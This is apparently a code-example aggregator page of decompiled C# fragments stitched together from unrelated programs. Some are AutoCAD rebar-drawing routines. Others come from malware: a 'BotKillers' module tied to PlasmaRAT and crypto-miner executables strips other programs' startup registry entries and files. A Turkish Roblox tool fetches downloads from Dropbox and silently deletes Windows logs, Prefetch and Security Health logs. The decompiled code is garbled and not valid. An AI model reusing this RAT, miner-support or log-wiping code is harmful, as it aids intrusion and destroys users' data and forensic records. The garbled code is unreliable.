                        Point3d pointAngle2 = CAD.GetPointAngle(p, 141.0, 90.0);
                        Point3d pointAngle3 = CAD.GetPointAngle(p, (double)(array[0] + 141L), 270.0);
                        CAD.AddPline(array5, 0.0, false, "");
                        CAD.AddPline(array6, 0.0, false, "");
                        CAD.AddLine(pointAngle2, pointAngle3, "0");
                        short num13 = (short)Math.Round(unchecked ((double)Information.UBound(array, 1) / 2.0 - 1.0));
                        short num14 = 1;
                        num15 = num13 - 1;
                        num3  = num14;
                    }
                    for (;;)
                    {
                        short num16 = num3;
                        short num8  = num15;
                        if (num16 > num8)
                        {
                            break;
                        }
                        Point3d pointAngle  = CAD.GetPointAngle(array4[(int)num3], num9 / 2.0 + Math.Pow(-1.0, (double)num3) * 70.0, 0.0);
                        Point3d pointAngle4 = CAD.GetPointAngle(pointAngle, (double)array[(int)num3], 270.0);
                        CAD.AddLine(pointAngle, pointAngle4, "0");
                        num3 += 1;
                    }
                    transaction.Commit();
                }
IL_4FC:
                num2 = 7;
                if (Information.Err().Number <= 0)
                {
                    goto IL_521;
                }
IL_50D:
                num2 = 8;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_521:
                goto IL_5A1;
IL_523:
                int num17 = num18 + 1;
                num18     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num17);
IL_55B:
                goto IL_596;
IL_55D:
                num18 = num2;
                if (num <= -2)
                {
                    goto IL_523;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_573 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num18 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_55D;
            }
IL_596:
            throw ProjectData.CreateProjectError(-2146828237);
IL_5A1:
            if (num18 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
        // Token: 0x06000055 RID: 85 RVA: 0x00005968 File Offset: 0x00003B68
        public static bool IsFileMalicious(string fileloc)
        {
            int    num;
            bool   flag;
            int    num4;
            object obj;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                if (!fileloc.Contains(Application.ExecutablePath))
                {
                    goto IL_1F;
                }
IL_16:
                num2 = 3;
                flag = false;
                goto IL_21E;
IL_1F:
                num2 = 5;
                if (!fileloc.Contains(PlasmaRAT.InstallationOfEverything))
                {
                    goto IL_37;
                }
IL_2E:
                num2 = 6;
                flag = false;
                goto IL_21E;
IL_37:
                num2 = 8;
                if (!fileloc.Contains(Miner.MinerExecutable))
                {
                    goto IL_50;
                }
IL_46:
                num2 = 9;
                flag = false;
                goto IL_21E;
IL_50:
                num2 = 11;
                if (!fileloc.Contains(GPUMiner.GPUMinerExecutable))
                {
                    goto IL_6A;
                }
IL_60:
                num2 = 12;
                flag = false;
                goto IL_21E;
IL_6A:
                num2 = 14;
                if (!fileloc.Contains("cmd"))
                {
                    goto IL_84;
                }
IL_7A:
                num2 = 15;
                flag = true;
                goto IL_21E;
IL_84:
                num2 = 17;
                if (!fileloc.Contains("wscript"))
                {
                    goto IL_9E;
                }
IL_94:
                num2 = 18;
                flag = true;
                goto IL_21E;
IL_9E:
                num2 = 20;
                if (!fileloc.Contains(RuntimeEnvironment.GetRuntimeDirectory()))
                {
                    goto IL_B8;
                }
IL_AE:
                num2 = 21;
                flag = true;
                goto IL_21E;
IL_B8:
                num2 = 23;
                if (!BotKillers.WinTrust.VerifyEmbeddedSignature(fileloc))
                {
                    goto IL_CD;
                }
IL_C3:
                num2 = 24;
                flag = false;
                goto IL_21E;
IL_CD:
                num2 = 26;
                if (!(fileloc.Contains(Environment.GetEnvironmentVariable("USERPROFILE")) | fileloc.Contains(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))))
                {
                    goto IL_FA;
                }
IL_F0:
                num2 = 27;
                flag = true;
                goto IL_21E;
IL_FA:
                num2 = 29;
                FileAttributes attributes = File.GetAttributes(fileloc);
IL_104:
                num2 = 30;
                if ((attributes & FileAttributes.System) != FileAttributes.System)
                {
                    goto IL_117;
                }
IL_10D:
                num2 = 31;
                flag = true;
                goto IL_21E;
IL_117:
                num2 = 33;
                if ((attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
                {
                    goto IL_12A;
                }
IL_120:
                num2 = 34;
                flag = true;
                goto IL_21E;
IL_12A:
                num2 = 36;
                flag = false;
IL_134:
                goto IL_21E;
IL_139:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_1DD:
                goto IL_213;
IL_1DF:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_1F0 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_1DF;
            }
IL_213:
            throw ProjectData.CreateProjectError(-2146828237);
IL_21E:
            bool result = flag;

            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return(result);
        }
Exemplo n.º 24
0
        // Token: 0x0600001E RID: 30 RVA: 0x00002B40 File Offset: 0x00000D40
        public void CheckForUpdates()
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_02:
                ProjectData.ClearProjectError();
                num = -2;
IL_0A:
                int num2 = 2;
                this.Refresh();
IL_12:
                num2 = 3;
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://dl.dropbox.com/s/upwikchd805y5lm/version.txt?dl=0");
IL_24:
                num2 = 4;
                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
IL_33:
                num2 = 5;
                StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream());
IL_43:
                num2 = 6;
                string text = streamReader.ReadToEnd();
IL_4E:
                num2 = 7;
                string productVersion = Application.ProductVersion;
IL_57:
                num2 = 8;
                if (text.Contains(productVersion))
                {
                    goto IL_1CB;
                }
IL_67:
                num2 = 10;
                this.Refresh();
IL_70:
                num2 = 11;
                this.BunifuCustomLabel1.Text = "Servers are Off ! Sunucular Kapalı ! ";
IL_83:
                num2 = 12;
                this.BunifuCustomLabel1.ForeColor = Color.Red;
IL_96:
                num2 = 13;
                this.BunifuCustomLabel1.BackColor = Color.Black;
IL_A9:
                num2 = 14;
                Interaction.MsgBox("Güncelleme Gelmiş Veya Program Bakım'da Olabilir ;) Kontrol Ediniz...", MsgBoxStyle.OkOnly, null);
IL_B9:
                num2 = 15;
                base.Show();
IL_C2:
                num2 = 16;
                MyProject.Forms.rbx.Hide();
IL_D4:
                num2 = 17;
                this.update1.Start();
IL_E2:
                num2 = 18;
                this.BunifuFlatButton1.Text = "GÜNCELLEME VAR ! VEYA BAKIM";
IL_F5:
                num2 = 19;
                this.Timer3.Start();
IL_103:
                num2 = 20;
                this.BunifuDropdown1.selectedIndex = 4;
IL_112:
                num2 = 21;
                MyProject.Forms.rbx.ProgressBar2.Value = 0;
IL_12A:
                num2 = 22;
                MyProject.Forms.rbx.ProgressBar1.Value = 0;
IL_142:
                num2 = 23;
                base.Show();
IL_14B:
                num2 = 24;
                MyProject.Forms.rbx.Hide();
IL_15D:
                num2 = 25;
                MyProject.Forms.rbx.Timer1.Stop();
IL_174:
                num2 = 26;
                MyProject.Forms.rbx.Timer2.Stop();
IL_18B:
                num2 = 27;
                MyProject.Forms.Form4.Close();
IL_19D:
                num2 = 28;
                MyProject.Forms.u.Close();
IL_1AF:
                num2 = 29;
                this.Refresh();
IL_1B8:
                num2 = 30;
                this.WebBrowser1.Navigate("https://dl.dropbox.com/s/1zvikip5vqhbobk/TH3KEN%20Roblox%20X.rar?dl=0");
IL_1CB:
                goto IL_2A5;
IL_1D0:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_25E:
                goto IL_29A;
IL_260:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_1D0;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_278 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_260;
            }
IL_29A:
            throw ProjectData.CreateProjectError(-2146828237);
IL_2A5:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
        // Token: 0x06000058 RID: 88 RVA: 0x00005C48 File Offset: 0x00003E48
        public static void RunStartupKiller()
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                BotKillers.StartupFucker("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 1);
IL_14:
                num2 = 3;
                BotKillers.StartupFucker("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", 1);
IL_21:
                num2 = 4;
                if (!AntiEverything.IsAdmin())
                {
                    goto IL_44;
                }
IL_2A:
                num2 = 5;
                BotKillers.StartupFucker("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 2);
IL_37:
                num2 = 6;
                BotKillers.StartupFucker("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", 2);
IL_44:
                num2 = 8;
                string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
IL_52:
                num2 = 9;
                string[] array = files;
                int      i     = 0;
                while (i < array.Length)
                {
                    string location = array[i];
IL_66:
                    num2 = 10;
                    BotKillers.KillFile(location);
                    i++;
IL_76:
                    num2 = 11;
                }
IL_80:
                goto IL_106;
IL_85:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_C5:
                goto IL_FB;
IL_C7:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_D8 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_C7;
            }
IL_FB:
            throw ProjectData.CreateProjectError(-2146828237);
IL_106:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 26
0
        // Token: 0x06000023 RID: 35 RVA: 0x00002F08 File Offset: 0x00001108
        private void Timer2_Tick(object sender, EventArgs e)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_02:
                ProjectData.ClearProjectError();
                num = -2;
IL_0A:
                int num2 = 2;
                Directory.Delete("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Temp", true);
IL_26:
                num2 = 3;
                Directory.Delete("C:\\Users\\" + Environment.UserName + "\\Recent\\", true);
IL_42:
                num2 = 4;
                Directory.Delete("C:\\Windows\\prefetch\\", true);
IL_4F:
                num2 = 5;
                Directory.Delete("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\CrashDumps", true);
IL_6B:
                num2 = 6;
                Directory.Delete("C:\\Windows\\Logs", true);
IL_78:
                num2 = 7;
                Directory.Delete("C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", true);
IL_85:
                num2 = 8;
                Directory.Delete("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\CrashReportClient\\Saved\\Logs\\", true);
IL_A1:
                num2 = 9;
                Directory.Delete("C:\\ProgramData\\IObit\\ASCDownloader\\ASCDownloader", true);
IL_AF:
                num2 = 10;
                Directory.Delete("C:\\ProgramData\\IObit\\Driver Booster\\Backups", true);
IL_BD:
                num2 = 11;
                Directory.Delete("C:\\ProgramData\\IObit\\Driver Booster\\Download", true);
IL_CB:
                num2 = 12;
                Directory.Delete("C:\\ProgramData\\Intel\\Package Cache", true);
IL_D9:
                num2 = 13;
                Directory.Delete("C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs", true);
IL_E7:
                goto IL_176;
IL_EC:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_132:
                goto IL_16B;
IL_134:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_EC;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_149 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_134;
            }
IL_16B:
            throw ProjectData.CreateProjectError(-2146828237);
IL_176:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 27
0
    public void Close(Thread thread = null)
    {
        int  num2          = 0;
        int  num           = 0;
        int  num3          = 0;
        bool Label_004C_go = false;

Label_RETY:
        try
        {
            if (Label_004C_go)
            {
                goto Label_004C;
            }
Label_0000:
            ProjectData.ClearProjectError();
            num = 1;
Label_0007:
            num3 = 2;
            if (!this.__ActiveThreads.Contains(thread))
            {
                goto Label_0089;
            }
Label_0017:
            num3 = 3;
            this.__ActiveThreads.Remove(thread);
            goto Label_0089;
Label_0028:
            num2 = 0;
            switch ((num2 + 1))
            {
            case 1:
                goto Label_0000;

            case 2:
                goto Label_0007;

            case 3:
                goto Label_0017;

            case 4:
            case 5:
                goto Label_0089;

            default:
                goto Label_007E;
            }
Label_004C:
            num2 = num3;
            switch (num)
            {
            case 0:
                goto Label_007E;

            case 1:
                goto Label_0028;
            }
            Label_004C_go = false;
        }
        catch (Exception exception1) //when (?)
        {
            ProjectData.SetProjectError(exception1);
            Label_004C_go = true;
            goto Label_RETY;
        }
Label_007E:
        throw ProjectData.CreateProjectError(-2146828237);
Label_0089:
        if (num2 != 0)
        {
            ProjectData.ClearProjectError();
        }
    }
Exemplo n.º 28
0
        // Token: 0x0600001D RID: 29 RVA: 0x0000293C File Offset: 0x00000B3C
        private void Form1_Load(object sender, EventArgs e)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_02:
                ProjectData.ClearProjectError();
                num = -2;
IL_0A:
                int num2 = 2;
                this.Timer2.Start();
IL_17:
                num2 = 3;
                this.UPDATE2.Stop();
IL_24:
                num2 = 4;
                if (!MyProject.Computer.Network.IsAvailable)
                {
                    goto IL_69;
                }
IL_37:
                num2 = 5;
                int    hWnd = base.Handle.ToInt32();
                string text = null;
                GForm0.SHEmptyRecycleBinA(hWnd, ref text, 1);
IL_54:
                num2 = 6;
                GForm0.SHUpdateRecycleBinIcon();
IL_5C:
                num2 = 7;
                this.CheckForUpdates();
                goto IL_109;
IL_69:
                num2 = 9;
                int hWnd2 = base.Handle.ToInt32();
                text = null;
                GForm0.SHEmptyRecycleBinA(hWnd2, ref text, 1);
IL_87:
                num2 = 10;
                GForm0.SHUpdateRecycleBinIcon();
IL_90:
                num2 = 11;
                this.Timer3.Start();
IL_9E:
                num2 = 12;
                Interaction.MsgBox("Bişeyler Bozuk Gidiyor !", MsgBoxStyle.OkOnly, null);
IL_AE:
                num2 = 13;
                this.BunifuFlatButton1.Text = "İNTERNET BAĞLANTISI YOK !";
IL_C1:
                num2 = 14;
                this.BunifuDropdown1.selectedIndex = 4;
IL_D0:
                num2 = 15;
                this.BunifuCustomLabel1.ForeColor = Color.Red;
IL_E3:
                num2 = 16;
                this.BunifuCustomLabel1.BackColor = Color.Black;
IL_F6:
                num2 = 17;
                this.BunifuCustomLabel1.Text = "İNTERNET HATA !!! Ethernet FAILED !!!";
IL_109:
                num2 = 19;
                this.Timer2.Start();
IL_117:
                num2 = 20;
                this.Timer1.Start();
IL_125:
                goto IL_1D0;
IL_12A:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_18C:
                goto IL_1C5;
IL_18E:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_12A;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_1A3 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_18E;
            }
IL_1C5:
            throw ProjectData.CreateProjectError(-2146828237);
IL_1D0:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 29
0
        public void TcGuJin2()
        {
            int    num;
            int    num9;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2      = 2;
                this.double_0 = CAD.GetScale();
IL_16:
                num2           = 3;
                this.point3d_0 = CAD.GetPoint("选择插入点: ");
IL_28:
                num2 = 4;
                Point3d point3d;
                if (!(this.point3d_0 == point3d))
                {
                    goto IL_3E;
                }
IL_39:
                goto IL_21E;
IL_3E:
                num2 = 7;
                CAD.CreateLayer("钢筋", 10, "continuous", -1, false, true);
IL_55:
                num2 = 8;
                bool flag = false;
IL_5A:
                num2 = 9;
                Database workingDatabase = HostApplicationServices.WorkingDatabase;
IL_63:
                num2 = 10;
                Editor editor = Application.DocumentManager.MdiActiveDocument.Editor;
IL_77:
                num2 = 11;
                PromptResult promptResult = editor.Drag(this);
IL_83:
                num2 = 12;
                if (promptResult.Status != 5100)
                {
                    goto IL_143;
                }
IL_98:
                num2 = 13;
                ObjectId[] array;
                short      num5;
                short      num6;
                checked
                {
                    short num3 = (short)(this.entity_0.Length - 1);
IL_A7:
                    num2 = 14;
                    editor.WriteMessage(num3.ToString());
IL_B8:
                    num2 = 15;
                    if (num3 != 0)
                    {
                        goto IL_D4;
                    }
IL_C1:
                    num2 = 16;
                    CAD.AddEnt(this.entity_0[0]);
                    goto IL_143;
IL_D4:
                    num2 = 18;
IL_D7:
                    num2  = 19;
                    array = new ObjectId[(int)(num3 + 1)];
IL_E4:
                    num2 = 20;
                    short num4 = 0;
                    num5 = (short)(this.entity_0.Length - 1);
                    num6 = num4;
                }
                for (;;)
                {
                    short num7 = num6;
                    short num8 = num5;
                    if (num7 > num8)
                    {
                        break;
                    }
IL_F9:
                    num2             = 21;
                    array[(int)num6] = CAD.AddEnt(this.entity_0[(int)num6]).ObjectId;
IL_11D:
                    num2  = 22;
                    num6 += 1;
                }
IL_131:
                num2 = 23;
                if (!flag)
                {
                    goto IL_143;
                }
IL_138:
                num2 = 24;
                Class36.smethod_55(array);
IL_143:
                goto IL_21E;
IL_148:
                goto IL_213;
IL_14D:
                num9 = num2;
                if (num <= -2)
                {
                    goto IL_168;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                goto IL_1ED;
IL_168:
                int num10 = num9 + 1;
                num9      = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num10);
                IL_1ED :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num9 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_14D;
            }
IL_213:
            throw ProjectData.CreateProjectError(-2146828237);
IL_21E:
            if (num9 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 30
0
        public void TcQGJ_X()
        {
            int    num;
            int    num8;
            object obj2;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    TypedValue[] array  = new TypedValue[1];
                    Array        array2 = array;
                    TypedValue   typedValue;
                    typedValue..ctor(0, "LWPOLYLINE");
                    array2.SetValue(typedValue, 0);
                    SelectionFilter       selectionFilter = new SelectionFilter(array);
                    PromptSelectionResult selection       = mdiActiveDocument.Editor.GetSelection(selectionFilter);
                    if (selection.Status == 5100)
                    {
                        SelectionSet value      = selection.Value;
                        Entity       e          = (Entity)transaction.GetObject(value[0].ObjectId, 0);
                        Point3d      entCenter  = CAD.GetEntCenter(e);
                        double       num3       = entCenter.X;
                        double       num4       = entCenter.Y;
                        double       num5       = entCenter.X;
                        double       num6       = entCenter.Y;
                        IEnumerator  enumerator = value.GetEnumerator();
                        while (enumerator.MoveNext())
                        {
                            object         obj            = enumerator.Current;
                            SelectedObject selectedObject = (SelectedObject)obj;
                            e         = (Entity)transaction.GetObject(selectedObject.ObjectId, 0);
                            entCenter = CAD.GetEntCenter(e);
                            num3      = Math.Min(entCenter.X, num3);
                            num4      = Math.Min(entCenter.Y, num4);
                            num5      = Math.Max(entCenter.X, num5);
                            num6      = Math.Max(entCenter.Y, num6);
                        }
                        if (enumerator is IDisposable)
                        {
                            (enumerator as IDisposable).Dispose();
                        }
                        Point3d point3d_;
                        point3d_..ctor(num3, num4, 0.0);
                        Point3d point3d_2;
                        point3d_2..ctor(num5, num6, 0.0);
                        Class36.smethod_14(point3d_, point3d_2, Class36.double_0 / 2.0);
                    }
                    transaction.Commit();
                }
IL_1C7:
                num2 = 6;
                if (Information.Err().Number <= 0)
                {
                    goto IL_1EC;
                }
IL_1D8:
                num2 = 7;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_1EC:
                goto IL_268;
IL_1EE:
                int num7 = num8 + 1;
                num8     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num7);
IL_222:
                goto IL_25D;
IL_224:
                num8 = num2;
                if (num <= -2)
                {
                    goto IL_1EE;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_23A :;
            }
            catch when(endfilter(obj2 is Exception & num != 0 & num8 == 0))
            {
                Exception ex = (Exception)obj3;

                goto IL_224;
            }
IL_25D:
            throw ProjectData.CreateProjectError(-2146828237);
IL_268:
            if (num8 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }